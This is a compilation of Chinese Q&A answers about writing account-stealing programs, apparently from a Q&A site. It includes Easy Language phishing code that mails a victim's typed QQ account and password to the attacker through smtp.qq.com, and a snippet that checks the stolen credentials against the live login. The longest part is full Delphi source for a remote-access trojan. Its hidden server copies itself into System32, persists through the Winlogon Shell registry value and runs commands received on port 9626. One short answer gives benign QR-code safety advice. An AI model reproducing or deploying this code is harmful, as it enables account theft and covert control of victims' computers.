本文目录一览：
易语言盗号源码怎么做啊
你发送邮件最后的 “QQ邮箱”需要填写您要接受的邮箱哦 251011182更多易语言技术加群
扫描好友发的二维码会不会被盗号?不输入密码
QQ（能扫二维码的APP）在扫正规的二维码时，相对还是安全的；但是如果胡乱扫，看到就想扫一扫，扫到一些以窃取他人信息为目的的二维码（或者二维码含有木马程序）就会导致被盗号或者其他损失（钱财账户，个人信息等）。
因此未知二维码不扫。以扫码为目的的推销活动不扫
易语言代码里前面的那个，也不知道叫什么。有图，你看看吧。
这个是标出来用来指示代码执行顺序的，就好像走象棋要一步一步来才能胜利，这个也是一样，链接发信服务器是统称名字， 发信服务器就是不用别人知道也不用显示出来后台通过这个服务器发送编辑框1和编辑框2的内容到你的用户名 也就是邮箱账号， 简化来说就是先经过点击按钮——发送编辑框内容到服务器——到收信邮箱——程序结束。 就是这样，你这个代码是最简单也是很多初级易语言学者惯用的盗号源码其中之一。
用这个程序时一定要打开现有所有的支持库 不然运行不了 会缺少发信服务器的
1.开始“易语言”
2.找到“工具”并单击
3.找到“工具栏”下的“支持酷配置”并单击
4.找到“全选”并单击 再单击“确认。”这样就打开了现有的所有支持库了，
最后总结 那个虚线只是让你看下子程序下面有什么属性而已，没多大用处，起到提示作用吧。
知道网页木马进!!!
其实木马分很多种有的是针对系统的，就象是鸽子、冰河那种WIN32病毒。所以他要用C、C#、BCB、VC++、VB、DELPHI、MASM32、JAVA等多种主流语言。我甚至用PASCAL都能做出木马。
而现在比较流行的网页木马就是针对HTTP服务的。所以要用脚本语言。比如，VBS（ Visual Basic Script ）、JS（JAVA Script）和HTML等语言编写的。
总之，大家还是要好好学习编程。现在的社会变化的太快了大家不要被他给淘汰掉啊
Delphi编写简单的木马2008-09-02 14:20刚学电脑时很喜欢网络安全，看着高手们写的一个又一个攻击工具，自己也总想努力去学好编程去写属于自己的程序。学DELPHI快一年了，感觉什么都没学到，惭愧啊。今晚突然想学着写木马，于是手忙脚乱的敲了点代码，超简单，愿自己能越写越好！！！程序跟传统木马一样，分服务端和客户端。运行服务端后会复制自身到SYSTEM32目录下面，并在注册表添加一自动行启动项，打开本机9626端口开始等待接收客户端的数据。当接收到客户端数据时就当作CMD命令去执行，最后把回显传送回客户端。客户端很简单，跟服务端连接成功后，输入命令点执行，正常的话可以收到服务端的执行结果了。
源码如下：
////Server.pas//////////////
unit UtMain;
////////////////////////////////////
//////////BY lanyus////////////////
////////Email:greathjw@163.com////
////////QQ:231221////////////////
///部分代码从网上收集///////////
////////////////////////////////
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, Registry, ScktComp, StdCtrls;
type
TFmMain = class(TForm)
SS: TServerSocket;
Memo1: TMemo;
procedure FormCreate(Sender: TObject);
procedure SSAccept(Sender: TObject; Socket: TCustomWinSocket);
procedure SSClientRead(Sender: TObject; Socket: TCustomWinSocket);
private
{ Private declarations }
public
{ Public declarations }
end;
var
FmMain: TFmMain;
reg:TRegistry;
implementation
{$R *.dfm}
procedure TFmMain.FormCreate(Sender: TObject);
var
sysdir:array[0..50] of char;
begin
Application.ShowMainForm:=False;
FmMain.Left:=-200; //运行不显示窗口
reg:=TRegistry.Create;
reg.RootKey:=HKEY_LOCAL_MACHINE;
reg.OpenKey('SoftWare\Microsoft\Windows NT\CurrentVersion\Winlogon',true);
if reg.ReadString('Shell') 'Explorer.exe Lysvr.exe' then
reg.WriteString('Shell','Explorer.exe Lysvr.exe'); //建立开机启动项
reg.Free;
GetSystemDirectory(sysdir,50);
if not FileExists(sysdir+'\Lysvr.exe') then
copyfile(Pchar(Application.exeName),pchar(sysdir+'\Lysvr.exe'),true);
SS.Port:=9626;
try
SS.Active:=True;
except
end;
end;
procedure TFmMain.SSAccept(Sender: TObject; Socket: TCustomWinSocket);
begin
Socket.SendText('连接成功'); //发现有连接时回传‘连接成功 ’
end;
procedure TFmMain.SSClientRead(Sender: TObject; Socket: TCustomWinSocket);
var
RemoteCmd:string;
hReadPipe,hWritePipe:THandle;
si:STARTUPINFO;
lsa:SECURITY_ATTRIBUTES;
pi:PROCESS_INFORMATION;
cchReadBuffer:DWORD;
ph:PChar;
fname:PChar;
res:string;
begin
Memo1.Clear;
remotecmd:=Socket.ReceiveText;
fname:=allocmem(255);
ph:=AllocMem(5000);
lsa.nLength :=sizeof(SECURITY_ATTRIBUTES);
lsa.lpSecurityDescriptor :=nil;
lsa.bInheritHandle :=True;
if CreatePipe(hReadPipe,hWritePipe,@lsa,0)=false then
begin
socket.SendText('不能创建管道');
exit;
end;
fillchar(si,sizeof(STARTUPINFO),0);
si.cb:=sizeof(STARTUPINFO);
si.dwFlags:=(STARTF_USESTDHANDLES or STARTF_USESHOWWINDOW);
si.wShowWindow:=SW_HIDE;
si.hStdOutput:=hWritePipe;
StrPCopy(fname,remotecmd);
/////执行CMD命令////
if CreateProcess(nil,fname,nil,nil,true,0,nil,nil,si,pi)=False then
begin
socket.SendText('不能创建进程');
FreeMem(ph);
FreeMem(fname);
Exit;
end;
while(true) do
begin
if not PeekNamedPipe(hReadPipe,ph,1,@cchReadBuffer,nil,nil) then break;
if cchReadBuffer0 then
begin
if ReadFile(hReadPipe,ph^,4096,cchReadBuffer,nil)=false then break;
ph[cchReadbuffer]:=chr(0);
Memo1.Lines.Add(ph);
end
else
if(WaitForSingleObject(pi.hProcess ,0)=WAIT_OBJECT_0) then break;
Sleep(100);
end;
ph[cchReadBuffer]:=chr(0);
Memo1.Lines.Add(ph); //memo接收回显
CloseHandle(hReadPipe);
CloseHandle(pi.hThread);
CloseHandle(pi.hProcess);
CloseHandle(hWritePipe);
FreeMem(ph);
FreeMem(fname);
socket.SendText(Memo1.Text); ///将回显发送回客户端
end;
end.
///////////////////////////////////////////////////////////////////////////////////////////
//////客户端/////////////////////
unit UtMain;
////////////////////////////////////
//////////BY lanyus////////////////
////////Email:greathjw@163.com////
////////QQ:231221////////////////
////////////////////////////////
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, OleCtrls, SHDocVw, StdCtrls, IdBaseComponent, IdComponent,
IdUDPBase, IdUDPServer, Buttons, TLHelp32, ScktComp;
type
TFmMain = class(TForm)
WebBrowser1: TWebBrowser;
Label3: TLabel;
Edit2: TEdit;
Label4: TLabel;
Edit3: TEdit;
Button2: TButton;
CS: TClientSocket;
Edit4: TEdit;
Label5: TLabel;
Memo1: TMemo;
BitBtn2: TBitBtn;
procedure Button2Click(Sender: TObject);
procedure CSRead(Sender: TObject; Socket: TCustomWinSocket);
procedure BitBtn2Click(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;
var
FmMain: TFmMain;
implementation
{$R *.dfm}
procedure TFmMain.Button2Click(Sender: TObject);
begin
CS.Host:=Edit2.Text;
CS.Port:=StrToInt(Edit3.Text);
CS.Open;
end;
procedure TFmMain.CSRead(Sender: TObject; Socket: TCustomWinSocket);
begin
Memo1.Clear;
Memo1.Lines.Add(Socket.ReceiveText);
Memo1.Lines.Add('');
end;
procedure TFmMain.BitBtn2Click(Sender: TObject);
begin
CS.Socket.SendText(edit4.Text);
end;
end.
易语言钓鱼源码
嗯嗯，改的设置对着呢。
但是你貌似没有填端口号，TX的应该是25，因为我填的是25……能发出去
可以这么写：
连接发信服务器 (“smtp.qq.com”, 25, 用户名, 密码)
发送邮件 (“号来了！”, “账号：” + 编辑框2.内容 + #换行符 + “密码：” + 编辑框2.内容, “*@qq.com”, , ,“*@qq.com”,)
但是，发送的时候360会拦截下来。这个你得注意下，其实你家机子要是固定IP的话，可以做个服务器。还有就是你这个验证根本不行，我账号填个1，密码填个1，那岂不就完事了，还能登上去，你又来一个垃圾。可以加个验证。
'------------------------验证源码
.版本 2
登录网页 ＝ 网页源码编码转换 (温暖HTTP读文件 (“;auto=1s_it=1g_f=286sid=”))
' 温暖HTTP读文件 (“;auto=1s_it=1g_f=286sid=”))
产生sid ＝ 取文本之间内容 (登录网页, “sid=”, “”)
登录返回文本 ＝ 进行POST (寻找POST参数 (登录网页, “马上登录”), _启动窗口.编辑框1.内容, _启动窗口.编辑框2.内容)
.判断开始 (寻找文本 (登录返回文本, “登录密码错误”, , 假) ＞ 0)
延时 (1000)
密码错误反馈.调用反馈事件 (, , )
.判断 (寻找文本 (登录返回文本, “登录失败，可能系统繁忙，请稍后重试”, , 假) ＞ 0)
延时 (500)
帐号错误反馈.调用反馈事件 (, , )
.判断 (寻找文本 (登录返回文本, “您填写的帐号或密码不正确，请重新输入”, , 假) ＞ 0)
延时 (1000)
密码错误反馈.调用反馈事件 (, , )
.判断 (寻找文本 (登录返回文本, “您输入的帐号不存在”, , 假) ＞ 0)
延时 (500)
帐号错误反馈.调用反馈事件 (, , )
.判断 (寻找文本 (登录返回文本, “登录成功”, , 假) ＞ 0)
登录成功网页 ＝ 登录返回文本
sid ＝ 产生sid
延时 (1000)
主界面反馈.调用反馈事件 (, , )
.判断 (寻找文本 (登录返回文本, “请输入验证码”, , 假) ＞ 0)
验证码图片地址 ＝ 取文本之间内容 (登录返回文本, “img src=” ＋ #引号, #引号)
延时 (1000)
验证码反馈.调用反馈事件 (, , )
.如果 (全局验证码内容 ＝ “”)
_启动窗口.可视 ＝ 真
.否则
输入验证码返回文本 ＝ 进行POST (寻找POST参数 (登录返回文本, “马上登录”), , , 全局验证码内容)
.判断开始 (寻找文本 (输入验证码返回文本, “登录成功”, , 假) ＞ 0)
登录成功网页 ＝ 输入验证码返回文本
sid ＝ 产生sid
延时 (1000)
主界面反馈.调用反馈事件 (, , )
.默认
延时 (1000)
密码错误反馈.调用反馈事件 (, , )
' -----------------接下来不是源码了
这里还要用到一个温暖HTTP应用模块，我给你传上来吧。
我自己写了个不带验证的奥拉星“外挂”，你可以看看，嘻嘻……（其实还是盗号的，只是不发送过来）